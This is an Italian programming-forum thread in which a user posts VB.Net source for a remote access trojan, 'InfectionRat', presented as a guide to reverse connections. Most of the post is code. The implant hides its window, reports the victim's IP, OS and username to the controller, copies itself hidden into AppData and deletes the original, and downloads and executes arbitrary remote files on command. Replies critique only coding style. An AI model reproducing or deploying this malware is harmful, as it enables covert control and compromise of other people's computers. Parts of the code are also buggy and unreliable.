• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Guida [VB.Net] Come sviluppare una connessione reverse [VB.Net]

enomis23

Utente Normale
Autore del topic
13 Luglio 2010
59
42
Miglior risposta
0
Oggi non avevo niente da fare e mi sono messo a fare questa mini-guida in 20 min xD

E basta co 'ste ca<>o di WebBrowser che non servono a una S3r4 e mettetevi a fare delle cose decenti...

Beh che c'è da dire? Il titolo dice tutto! Ringrazio Cunt per il Melt, ma è Tedesco quindi non capisce xD

Client
Nella Form1:
1 Listview con il nome: ListView1
1 ContextMenuStrip

Importiamo la seguente stringa(per utilizzare i Sock):
Imports System.IO, System.Net, System.Net.Sockets
Dichiariamo le connessioni:
Dim Listener As TcpListener
Dim Client As TcpClient
Dim ClientList As New List(Of ChatClient)
Dim sReader As StreamReader
Dim cClient As ChatClient
Nella Form Load inseriamo:
Listener = New TcpListener(IPAddress.Any, 8080) 'Any IP sta per qualsiasi IP in entrata, 8080 è la porta in ascolto
Listener.Start()
Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener) ' Accetta tutte le connessioni
Nel Form Close:
cClient.Send("Connessione Chiusa") ' Chiude connessione
Invalidate()
Listener.Stop()
End
Codice da inserire:
Sub AcceptClient(ByVal ar As IAsyncResult)
cClient = New ChatClient(Listener.EndAcceptTcpClient(ar))
AddHandler (cClient.MessageRecieved), AddressOf MessageRecieved
AddHandler (cClient.ClientExited), AddressOf ClientExited
ClientList.Add(cClient)
cClient.Send("Benvenuto nella guida di Th3Inf3cti0n per la connessione reverse su VB.net!")
Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener)
End Sub
Update Connessione:
Sub MessageRecieved(ByVal Str As String)
xUpdate(Str, False)
End Sub
Aggiunge connessione in entrata alla ListView1
Sub AddToListView(ByVal Str As String)
Dim Data() As String = Split(Str, "|")
Dim CurClient As New ListViewItem(Data(0)) ' Server ID
CurClient.SubItems.Add(Data(1)) ' IP
CurClient.SubItems.Add(Data(2)) ' OS
CurClient.SubItems.Add(Data(3)) ' User
If ListView1.Items.Contains(CurClient) Then
Else
ListView1.Items.Add(CurClient)
End If
ToolStripMenuItem1.Enabled = True
DisconnectToolStripMenuItem.Enabled = True
End Sub
Altre Dichiarazioni:
Dim __client As ChatClient
Delegate Sub _ClientExited(ByVal Client As ChatClient)
Utilizzo dichiarazioni sopra:
Function FindIndex(ByVal Client As ChatClient) As Integer
__client = Client
ClientList.FindIndex(AddressOf Lol)
End Function
Codici da copiare:
Sub ClientExited(ByVal Client As ChatClient)
If InvokeRequired Then
Invoke(New _ClientExited(AddressOf ClientExited), Client)
Else
ListView1.Items.RemoveAt(FindIndex(Client))
ClientList.Remove(Client)
If ListView1.Items.Count = 0 Then
DisconnectToolStripMenuItem.Enabled = False
ToolStripMenuItem1.Enabled = False
End If
End If
End Sub
Function Lol(ByVal CClient As ChatClient) As Boolean
If __client Is CClient Then Return True
Return False
End Function
Delegate Sub _xUpdate(ByVal Str As String, ByVal Relay As Boolean)
Sub xUpdate(ByVal Str As String, ByVal Relay As Boolean)
On Error Resume Next
If InvokeRequired Then
Invoke(New _xUpdate(AddressOf xUpdate), Str, Relay)
Else
If Str.Contains("|") Then
AddToListView(Str)
End If
End If
End Sub
Sub Send(ByVal Str As String, ByVal Client As ChatClient)
For i As Integer = 0 To ClientList.Count - 1
Try
ClientList(FindIndex(Client)).Send(Str)
Catch
ClientList.RemoveAt(i)
End Try
Next
End Sub
Bene abbiamo quasi finito il client, ora mancano solo le funzioni!
Aggiungere Items al ContextMenuStrip (io ne metto 2)
1 lo chiamiamo Disconnetti
e l'altro Download & Esegui
Doppio Click sopra a Disconnetti:
E incolliamo questo comando:
cClient.Send("DISCONNETTI")'Questo comando serve a inviare il comando al server che poi vi spiegherò come funziona!
Doppio Click in Download & Esegui:
Dim S As String = InputBox("Inserisci URL.", "Informazione")
Dim URL As String
If Not S.Contains("http://") Then
URL = S
S = "http://" & URL
End If
'Invia comando DL + S che è il link del file da scaricare.
Ora aggiungi una classe con nome: ChatClient.vb e incolla questo codice:
Imports System.Net.Sockets, System.IO
Public Class ChatClient
Public Event MessageRecieved(ByVal Str As String)
Public Event ClientExited(ByVal Client As ChatClient)
Private sWriter As StreamWriter
Private Client As TcpClient
Sub New(ByVal xclient As TcpClient)
Client = xclient
Client.GetStream.BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
End Sub
Private Sub Read()
Try
RaiseEvent MessageRecieved(New StreamReader(Client.GetStream).ReadLine)
Client.GetStream.BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf Read), Nothing)
Catch ex As Exception
RaiseEvent ClientExited(Me)
End Try
End Sub
Public Sub Send(ByVal Message As String)
Try
sWriter = New StreamWriter(Client.GetStream)
sWriter.WriteLine(Message)
sWriter.Flush()
Catch
End Try
End Sub
End Class
Server
Bene ora andiamo direttamente nel codice che quì non serve nessuna GUI.
Importiamo i soliti sock:
Imports System.IO, System.Net, System.Net.Sockets
Dichiariamo:
Dim rand As New Random
Dim Nick As String = "RAT : " & rand.Next(9000, 9999)'Nome del virus con il proprio ID(con un numero a caso tra 9000 e 9999)
Dim sWriter As StreamWriter
Dim Client As TcpClient
Dim IsConnected As Boolean = False
In FormLoad:
Hide()
ShowInTaskbar = False
Width = 0
Height = 0
Dim req As HttpWebRequest = WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")
Dim res As HttpWebResponse = req.GetResponse()
Dim Stream As Stream = res.GetResponseStream()
Dim sr As StreamReader = New StreamReader(Stream)
Dim OSName As String = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "E_NotFound")
Nick &= "|" & sr.ReadToEnd & "|" & OSName & "|" & My.User.Name
Connexion()
Per la Connessione:
Sub Connexion()
While IsConnected = False
Client = New TcpClient("127.0.0.1", 8080)'Tuo ip o IP locale, porta che abbiamo messo prima (8080)
Client.GetStream.BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf Read), Nothing)
Send(Nick)'Invia il nome del Virus con l'ID
System.Threading.Thread.Sleep(9001)'VIETATO COPIARE GUIDA SENZA DIRITTI: TH3INF3CTI0N
End While
End Sub
Per il Melt:
Sub Melt(ByVal NewName As String)
' Ringrazio Cunt per il codice
Try 'VIETATO COPIARE GUIDA SENZA DIRITTI: TH3INF3CTI0N
Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
If Application.StartupPath = NewFolder = False Then
FileCopy(Application.ExecutablePath, NewFolder & "\" & NewName)
Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath)
Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
File.SetAttributes(NewFolder & "\" & NewName, Hidden)
End
Else
Kill(Command)
End If
Catch
End Try
End Sub
Codice da incollare:
Private Sub Send(ByVal Str As String)
Try'VIETATO COPIARE GUIDA SENZA DIRITTI: TH3INF3CTI0N
sWriter = New StreamWriter(Client.GetStream)
sWriter.WriteLine(Str)
sWriter.Flush()
Catch
End Try
End Sub
CODICE IMPORTANTISSIMO:
Sub Read(ByVal ar As IAsyncResult)
Try
Dim responce As String = New StreamReader(Client.GetStream).ReadLine
If responce <> "" Then
IsConnected = True
End If
If responce = "DISCONNETTI" Then'Come vedete c'è "DISCONNETTI" quello che avevamo messo nel Client arriva qua e lo disconnette
End
End If
If responce.Contains("DL") Then'Scarica & Esegui
Dim P As New Random
Dim Q As Integer = P.Next(11111, 99999)
Dim Arr() As String = Split(responce, "|")
Dim WC As New WebClient
Dim FName As String = Arr(1).LastIndexOf("/"c)
WC.DownloadFileAsync(New Uri(Arr(1)), CurDir() & "\" & FName)'Scarica file
Shell(CurDir() & Q & ".exe")'Avvia file scaricato
End If
'Se vorrete inserire altre funzioni mettete un altro item sul client, doppio client sull'item e fate come prima: cClient.Send("QUI METTETE UN NOME MAIUSCOLO DIVERSO DAGLI ALTRI"), e qui sotto nel server:
If responce = "NOME MAIUSCOLO DI PRIMA" Then
'Funzione tipo spegnere PC
Shutdown -s -t 'ecc..
End If
Client.GetStream.BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
Catch ex As Exception
Connexion()
Exit Sub
End Try
End Sub
Spero di essere stato utile, ah se non l'avete capito questa è la source di InfectionRat quello in locale!
VIETATO COPIARE GUIDA SENZA DIRITTI: TH3INF3CTI0N
 
Ultima modifica:
Riferimento: [VB.Net] Come sviluppare una connessione reverse [VB.Net]

Sposto in Programmazione > VB
 
Riferimento: [VB.Net] Come sviluppare una connessione reverse [VB.Net]

Sarebbe buona come guida, se fosse spiegata...
 
Riferimento: [VB.Net] Come sviluppare una connessione reverse [VB.Net]

Sarebbe buona come guida, se fosse spiegata...

Come non quotare.

Ad esempio perchè bloccare il tutto un thread per 9001 ms

System.Threading.Thread.Sleep(9001)'VIETATO COPIARE GUIDA SENZA DIRITTI: TH3INF3CTI0N
E poi in base a cosa 9,001 secondi ?

Per non parlare poi di

On Error Resume Next

Che chiunque abbia un minimo di conoscenza della programmazione non userebbe mai.

Un po'come qui

For i As Integer = 0 To ClientList.Count - 1
Try
ClientList(FindIndex(Client)).Send(Str)
Catch
ClientList.RemoveAt(i)
End Try

in caso di errore rimuove il client dalla lista, ma l'errore potrebbe essere causato da vari problemi, questo è un metodo assolutamente da evitare.
 
Riferimento: [VB.Net] Come sviluppare una connessione reverse [VB.Net]

TH3INF3CTION ha detto:
CODICE IMPORTANTISSIMO:
Sub Read(ByVal ar As IAsyncResult)
Try
Dim responce As String = New StreamReader(Client.GetStream).ReadLine
If responce <> "" Then
IsConnected = True
End If
If responce = "DISCONNETTI" Then'Come vedete c'è "DISCONNETTI" quello che avevamo messo nel Client arriva qua e lo disconnette
End
End If
If responce.Contains("DL") Then'Scarica & Esegui
Dim P As New Random
Dim Q As Integer = P.Next(11111, 99999)
Dim Arr() As String = Split(responce, "|")
Dim WC As New WebClient
Dim FName As String = Arr(1).LastIndexOf("/"c)
WC.DownloadFileAsync(New Uri(Arr(1)), CurDir() & "\" & FName)'Scarica file
Shell(CurDir() & Q & ".exe")'Avvia file scaricato
'Se vorrete inserire altre funzioni mettete un altro item sul client, doppio client sull'item e fate come prima: cClient.Send("QUI METTETE UN NOME MAIUSCOLO DIVERSO DAGLI ALTRI"), e qui sotto nel server:
If responce = "NOME MAIUSCOLO DI PRIMA" Then
'Funzione tipo spegnere PC
Shutdown -s -t 'ecc..
End If
Client.GetStream.BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
Catch ex As Exception
Connexion()
Exit Sub
End Try
End Sub

Da notare Shell e non Process.Start . :tristezza:
 
Riferimento: [VB.Net] Come sviluppare una connessione reverse [VB.Net]

A me sembra di aver visto questo codice in un forum inglese... :O
Non vorrei sbagliarmi ma mi sembra proprio quello... @hackerboy lo Shell viene usato nel vb6 se non mi sbaglio... Infatti su quel forum inglese il codice era per vb6....
xd Non vorrei sbagliarmi ma mi sembra proprio quello.... LOOOL
--------------- AGGIUNTA AL POST ---------------
@enomis23
Ora aggiungi una classe con nome: ChatClient.vb e incolla questo codice:

Chat?? Ma infection non era un RAT??? :emoji_relieved: :emoji_relieved: :emoji_relieved: :emoji_relieved:
 
Ultima modifica:
Riferimento: [VB.Net] Come sviluppare una connessione reverse [VB.Net]

A me sembra di aver visto questo codice in un forum inglese... :O
Non vorrei sbagliarmi ma mi sembra proprio quello... @hackerboy lo Shell viene usato nel vb6 se non mi sbaglio... Infatti su quel forum inglese il codice era per vb6....
xd Non vorrei sbagliarmi ma mi sembra proprio quello.... LOOOL
--------------- AGGIUNTA AL POST ---------------
@enomis23
Ora aggiungi una classe con nome: ChatClient.vb e incolla questo codice:

Chat?? Ma infection non era un RAT??? :emoji_relieved: :emoji_relieved: :emoji_relieved: :emoji_relieved:

Sì, Shell è per VB6, ma con il .NET Framework è consigliato usare Process.Start